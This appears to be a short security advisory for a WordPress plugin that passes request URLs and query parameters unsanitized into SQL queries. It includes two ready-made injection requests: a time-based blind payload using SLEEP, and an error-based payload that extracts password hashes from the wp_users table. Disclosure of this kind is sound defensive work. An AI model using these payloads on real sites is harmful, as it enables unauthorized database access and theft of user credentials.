Description The plugin does not sanitize the request URL or query parameters before using them in an SQL query, allowing unauthenticated attackers to extract sensitive data from the database via blind time based SQL injection techniques, or in some cases an error/union based technique.

Blind time based SQLi:
GET /?test=1'%20AND%20(SELECT%208559%20FROM%20(SELECT(SLEEP(5)))WBVZ)%20-- HTTP/1.1

Error/union based SQLi (Requires MySQL and WP_DEBUG enabled):
GET /?test=1%27%20AND%20GTID_SUBSET%28CONCAT%280x686173683a%2C%28SELECT%20MID%28%28IFNULL%28CAST%28user_pass%20AS%20NCHAR%29%2C0x20%29%29%2C1%2C190%29%20FROM%20%60wordpress%60.wp_users%20ORDER%20BY%20ID%20LIMIT%201%2C1%29%29%2C3124%29--%20a
